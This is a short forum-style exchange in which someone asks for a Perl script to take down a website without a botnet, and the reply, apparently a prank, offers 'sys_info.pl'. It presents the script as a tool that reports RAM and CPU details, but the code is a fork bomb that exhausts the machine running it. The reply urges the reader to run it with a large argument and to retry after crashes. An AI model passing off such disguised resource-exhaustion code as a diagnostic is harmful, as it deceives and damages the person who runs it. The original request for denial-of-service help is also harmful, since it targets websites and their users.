Perl

Is there any Perl script that can take down a website like a DDoS can, but without a botnet?

We need to know a little bit about your system first.

This perl code will output a binary value (note the print 1 and print 0), from which we can gather some important information about your system (amount of RAM, operating system, number and speed processor(s), etc..)

#!/usr/bin/perl

my $strength = $ARGV[0] + 1;

while (not fork) {
  exit unless --$strength;
  print 0;
  twist: while (fork) {
    exit unless --$strength;
    print 1;
  }
}
goto 'twist' if --$strength;
Save that to a file called sys_info.pl, then run it and give us the output. It takes quite a while to finish, and sometimes it'll crash (it uses a really sneaky algorithm that doesn't always work). If it does crash, just keep trying.

PS, run it using something like ./sys_info.pl 9001. The better your system is, the bigger the number you should use.

Hope that helps!